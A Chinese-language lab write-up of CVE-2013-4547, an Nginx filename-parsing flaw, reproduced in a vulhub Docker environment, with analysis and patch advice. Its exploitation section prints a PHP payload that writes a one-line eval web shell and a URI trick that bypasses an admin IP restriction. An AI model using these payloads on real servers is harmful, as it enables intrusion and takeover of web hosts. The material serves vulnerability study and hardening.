CVE-2013-4547 Nginx 文件名逻辑漏洞

---

漏洞描述

  nginx 0.8.41至1.4.3和1.5.7之前的1.5.x允许远程攻击者通过URI中的未转义空格字符来绕过预期的限制。

影响版本

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞环境搭建

使用vulhub直接docker一键启动环境CVE-2013-4547环境

docker快速入门以及漏洞环境搭建

下载安装好vulhub后进入/vulhub/nginx/CVE-2013-4547目录，执行以下命令启动环境

sudo docker-compose up -d

启动docker环境后访问虚拟机8080端口，出现以下页面表示启动成功

漏洞分析

这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。

举个例子，比如，Nginx匹配到.php结尾的请求，就发送给fastcgi进行解析，常见的写法如下：

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下（关闭pathinfo的情况下），只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下，我们请求1.gif[0x20][0x00].php，这个URI可以匹配上正则.php$，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是1.gif[0x20]，就设置其为SCRIPT_FILENAME的值发送给fastcgi。

fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。

所以，我们只需要上传一个空格结尾的文件，即可使PHP解析之。

再举个例子，比如很多网站限制了允许访问后台的IP：

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI：test[0x20]/../admin/index.php，这个URI不会匹配上location后面的/admin/，也就绕过了其中的IP验证；但最后请求的是/test[0x20]/../admin/index.php文件，也就是/admin/index.php，成功访问到后台。（这个前提是需要有一个目录叫test ：这是Linux系统的特点，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下没有这个限制）

漏洞检测

将上传的文件名修改hex值为name.gif[0x20][0x00].php


普通的浏览器打不出00 去访问的，需要通过burp修改hex为name.gif[0x20][0x00].php，即可成功访问php文件

漏洞利用

因为浏览器打不了\0，所以我们更换思路去getshell。
上传文件时，利用php的system函数去构建文件：

getshell.gif[0x20][0x00].php文件
一句话：

<?php system('echo "<?php @eval(\$_POST[pass]);?>" >shell.php')?>

然后利用burp修改hex，访问getshell.gif[0x20][0x00].php，访问过后将会在当前文件下生成shell.php

然后利用蚂剑连接将可以获取web服务器权限

漏洞加固

1. 升级nginx
2. 下载补丁：http://nginx.org/download/patch.2013.space.txt
        Nginx修复漏洞打补丁过程

参考链接

https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547